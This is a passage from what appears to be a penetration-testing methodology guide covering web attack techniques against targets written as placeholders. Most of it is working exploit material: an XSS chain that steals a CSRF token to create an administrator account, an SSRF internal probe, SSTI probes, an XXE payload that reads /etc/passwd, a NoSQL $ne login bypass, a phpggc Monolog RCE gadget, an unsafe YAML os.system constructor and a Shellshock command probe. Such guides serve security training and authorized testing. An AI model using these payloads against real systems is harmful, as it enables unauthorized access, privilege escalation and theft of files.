| Existing JavaScript string | ';alert(document.domain);// | Input may be JSON/string escaped or not reach executable script |
| URL-decoded parameter | percent-encode the context-matched payload in the request | Decode layer or client normalization differs |
Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.
HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:
fetch('/admin/users/new')
.then(r => r.text())
.then(t => {
const token = new DOMParser().parseFromString(t, 'text/html')
.querySelector('input[name="csrf"]')?.value;
return fetch('/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
});
});
Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.
Verification: authenticate as
NEW_USERand perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.
Verify: Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.
If it fails: Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.
10.4.10.1.38 Find: Use WordPress component evidence and authorized administration features
Confirm WordPress-specific routes/components and inspect the capabilities actually presented after an accepted application login.
curl -sk -i http://TARGET:PORT/wp-login.php
Recognize: Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.
Validate next: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.
Use WordPress component evidence and authorized administration features.
10.4.10.1.39 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
Recognition: WordPress-specific paths/assets, generator metadata, REST routes or
wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.
curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html
Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.
10.4.10.1.40 WPScan inventory
wpscan --url https://HOSTNAME/ --disable-tls-checks \
--enumerate vp,vt,u --plugins-detection mixed \
--output wpscan-HOSTNAME.txt
WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.
Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.
curl -sk -c wp.cookies -b wp.cookies \
--data-urlencode 'log=USER' \
--data-urlencode 'pwd=PASSWORD' \
--data-urlencode 'wp-submit=Log In' \
--data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
https://HOSTNAME/wp-login.php -D wp-login.headers
curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html
A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.
XML-RPC exposure is a feature clue, not automatically a vulnerability:
curl -sk -X POST https://HOSTNAME/xmlrpc.php \
-H 'Content-Type: text/xml' \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
Verify: Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.
If it fails: Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.
10.4.10.1.41 Find: Use server-side requests to inspect reachable internal behavior
Browse legitimate import/preview/webhook functions and identify a request whose normal input is a server-fetched URL.
curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH
Recognize: A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.
Validate next: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.
Use server-side requests to inspect reachable internal behavior.
10.4.10.1.42 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.
Listener:
python3 -m http.server LPORT --bind 0.0.0.0
Hypothetical request replay:
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'
Interpret the path explicitly:
browser/client -> vulnerable application -> requested URL
The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.
10.4.10.1.43 Internal destination and parser variations
10.4.10.1.44 Only after an external controlled callback proves server-side fetching
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'
10.4.10.1.45 Preserve encoding when the URL is nested in form data
# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
--data-urlencode 'url=http://127.0.0.1:PORT/'
Compare status, body marker, size and timing against a closed-port control. Internal HTTP content establishes reachability/read capability, not command execution.
Verify: Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.
If it fails: No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.
10.4.10.1.46 Find: Prove server-side template evaluation and identify its engine
Inspect mapped previews, reports and server-rendered inputs for template syntax clues; preserve the normal request and literal control.
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
Recognize: A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.
Validate next: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.
Prove server-side template evaluation and identify its engine.
10.4.10.1.47 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function
Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:
10.4.10.1.48 Jinja/Twig-style expression probe
# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
10.4.10.1.49 A different delimiter family, only when the first is literal or errors suggest it
# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
10.4.10.1.50 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH
Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.
Sources: upstream 1.
Verify: Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.
If it fails: Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.
10.4.10.1.51 Find: Use an XML parser's external-entity behavior for bounded file read
Start from a valid XML request and place an external-entity reference in a field whose parsed value is returned.
curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH
Recognize: The server parser resolved the entity and read the selected file under its process identity.
Validate next: Repeat with a benign control and preserve the exact parser/content-type context.
Use an XML parser's external-entity behavior for bounded file read.
10.4.10.1.52 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. External entity or XInclude processing is enabled and the parser identity can read the selected file
Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
--data-binary @xxe.xml http://TARGET:PORT/PATH
Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.
If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:
<value xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</value>
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Sources: upstream 1.
Verify: Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.
If it fails: DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.
10.4.10.1.53 Find: Test structured NoSQL operator injection with identity controls
Capture the real JSON or nested-form login/search request and compare a wrong scalar, operator object and operator-as-string.
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
Recognize: A structured operator changed the query and produced an authenticated state for the named identity.
Validate next: Verify protected access and identity; ensure the framework parsed an object rather than a string.
Test structured NoSQL operator injection with identity controls.
10.4.10.1.54 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.
10.4.10.1.55 A known username with an operator-valued password
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
10.4.10.1.56 Distinct context: a form parser that expands bracketed properties
# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.
Sources: upstream 1.
Verify: Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.
If it fails: Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.
10.4.10.1.57 Find: Match PHP deserialization gadgets to installed dependencies
Use source, composer metadata and request format to establish unsafe PHP deserialization and loaded gadget classes before generating bytes.
phpggc -l
phpggc -i Monolog/RCE1
Recognize: The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.
Validate next: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.
Match PHP deserialization gadgets to installed dependencies.
10.4.10.1.58 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes
Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.
10.4.10.1.59 Inspect available families and the exact chain's version/vector requirements
# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1
10.4.10.1.60 Example function-call gadget, only when that chain matches the application
# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64
Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.
Sources: upstream 1.
Verify: Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.
If it fails: Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.
10.4.10.1.61 Find: Validate unsafe YAML object construction
Inspect source/errors for the actual Python YAML loader before placing a constructor in the application's required schema.
!!python/object/apply:os.system ["id"]
Recognize: The application constructed the selected Python object under an unsafe loader.
Validate next: Confirm loader/version and an attributable effect in the real import/request path.
10.4.10.1.62 Find: Test Shellshock only through a confirmed CGI-to-Bash chain
Confirm a CGI endpoint, Bash invocation and vulnerable component evidence before sending one bounded header probe.
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT
Recognize: Command-derived identity output supports Shellshock execution under the CGI process.
Validate next: Separate command output from reflected header text and record the exact script/Bash context.
Test Shellshock only through a confirmed CGI-to-Bash chain.
10.4.10.1.63 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. HTTP-derived environment data reaches an affected Bash process and the selected command is available
Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.
# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
http://TARGET:PORT/cgi-bin/SCRIPT
Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.
Sources: upstream 1.
Verify: Require command-derived output distinct from reflected header text and record the CGI identity.
If it fails: No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.
10.4.10.1.64 Find: Conditional: validate an out-of-band SQL request channel
After DBMS/query influence is established, document the absence of stable in-band channels and inspect whether the database platform exposes a permitted outbound lookup facility.
curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Recognize: Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.
Validate next: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.